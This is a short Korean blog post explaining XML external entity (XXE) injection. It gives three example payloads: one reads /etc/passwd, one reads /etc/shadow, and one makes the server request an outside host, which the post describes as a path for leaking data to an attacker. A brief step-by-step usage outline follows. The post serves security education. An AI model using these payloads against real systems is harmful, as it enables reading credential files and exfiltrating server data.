XXE 취약점

신원상·2025년 4월 10일

XXE(XML external entity injection)

XML 파서를 사용하는 웹 애플리케이션에서
외부 엔티티(External Entity)를 정의하고 주입함으로써 악의적인 동작을 수행하게 만드는 취약점

공격 구문 예시

1. 내부 파일 유출

: /etc/passwd 파일의 내용이 응답에 포함 혹은 서버 로그에 출력

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

2. 에러 기반 파일 유출

: 파일이 존재하지 않거나 읽기 불가한 경우, 에러 메시지나 XML 파싱 에러로 정보 유출 가능

<?xml version="1.0"?>
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///etc/shadow">
]>
<test>&xxe;</test>

3. 외부 요청 기반 정보 유출

: 서버가 http://test.com/으로 요청을 보내도록 유도해
외부 URL로 연결이 가능한지 확인,
공격자가 제어하는 서버로 정보를 유출하는 데 사용 가능

<?xml version="1.0"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://test.com/"> ]>
<test>&xxe;</test>

실제 사용 예시

Step 1. XML 요청 형식 확인 및 XXE 공격 구문 삽입 시도
Step 1. XML 요청 형식 확인 및 XXE 공격 구문 삽입 시도
Step 2. 구문 삽입 및 변조 후 요청

Step 3. 응답값 확인 시 입력한 구문이 정상적으로 실행된 것을 확인

profile
wonsang

0개의 댓글